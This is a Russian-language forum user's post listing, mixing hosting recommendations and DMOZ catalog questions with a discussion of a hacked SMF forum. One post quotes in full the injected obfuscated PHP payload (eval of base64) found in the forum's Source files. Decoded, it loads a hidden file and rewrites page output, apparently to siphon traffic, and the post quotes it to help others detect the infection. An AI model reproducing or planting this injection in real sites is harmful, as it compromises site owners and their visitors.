V@der

V@der
Рейтинг
96
Регистрация
22.11.2007
Интересы
PHP, DMOZ

Unlock, большинство компаний в этом разделе о всех своих акциях информируют в одной теме. Я не считаю ISPServer избранным или каким-то сверхособенным хостером (несмотря на то, что их клиент), чтобы превращать этот раздел в филиал их рекламного отдела.

alexseo:
Ну может чуть меньше. Точное время появления к сожалению не записал

Насколько я понимаю, пик пришелся совсем недавно, так что надеюсь, что информация сравнительно актуальна и может помочь в дальнейшем.:)

mrFatCat:
Дырка в безопасности - ресайз аватарок средствами пхп. Отключить нафиг, и не морочиться.
Подробности тут: http://phpforum.ru/index.php?showtop...dpost&p=102322

Спасибо, посмотрим. Правда, файлы теперь всё равно чистить придётся.

-K-:
Вот это жесть - вывод аватарок через скрипт... На каждую аватарку - еще и несколько запросов в базу и потом чтение с диска. Ф топку такой форум!!!

Насколько я знаю, раньше SMF имел репутацию форума, для которого меньше всего написано эксплоитов. С ростом популярности ситуация изменилась не в лучшую сторону, разумеется.

zhidronsss, я в курсе. декодировать base64 умеем.

V@der добавил 19.05.2009 в 07:03

alexseo, ссылку, пожалуйста, на информацию о том, что уязвимость существует больше месяца.

Визуально ничего не заметно. Насколько я понимаю, форум будет использоваться для слива траффика.

Про то, как обнаружить, написал выше — в начале файлов форума, в частности из папки Source, должен быть инжектирован PHP-код функцией eval().


<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9hZG1pbi9kb21haW5zL3d3d29tZW4uY29tLnVhL3B1YmxpY19odG1sL2ZvcnVtL1RoZW1lcy9kZWZhdWx0L2xhbmd1YWdlcy9zdHlsZS5jc3MucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvYWRtaW4vZG9tYWlucy93d3dvbWVuLmNvbS51YS9wdWJsaWNfaHRtbC9mb3J1bS9UaGVtZXMvZGVmYXVsdC9sYW5ndWFnZXMvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

был без аватарки

У него и не должна она быть...

Wind change, в большинстве файлов из папки Source есть инжект, например, в subs.php

По крайней мере, у меня.

Вполне размещаем. Заявка от конца марта лежит в World/Russian/Страны_и_регионы/Европа/Украина/Области/Днепропетровская/ . Категория выбрана верно, когда-нибудь до рассмотрения сайта дойдут.

Какие-то тех проблемы. Обновление поисковой базы, насколько я понимаю, происходит одновременно с генерацией нового RDF-дампа. RDF-дамп от 13 мая оказался забракованным; по идее, сейчас должен появиться еще один.

В последние месяцы гугл начал синхронизировать свой каталог с DMOZ каждуы неделю-две. Видимо, стафф AOL'a это очень напугало и они решили как-то остановить этот процесс. :D

+1 за samsung nc10, предложенный в первых сообщениях топика. Пользуюсь с нового года — исключительно положительные впечатления.

В разделе, где расположен сайт, наверху нажать кнопку "Обновить URL". Неужели так сложно посмотреть было или поиском пройтись по форуму ?

basilic:
Какой хостинг на уровне?

На уровне этих, думаю, Питерский хостер — ТаймВэб (http://timeweb.ru/)

Не знаю, как с поддержкой по телефону, а вот ICQ — круглосуточно. Собственно, в саппорт там и не приходиться обращаться, работает как часы.

Тут еще есть один их клиент — kod_ssilki_ru. Он уже писал свой отзыв о хостере: /ru/forum/comment/4012327

Рекомендую, в общем. :)

Всего: 1143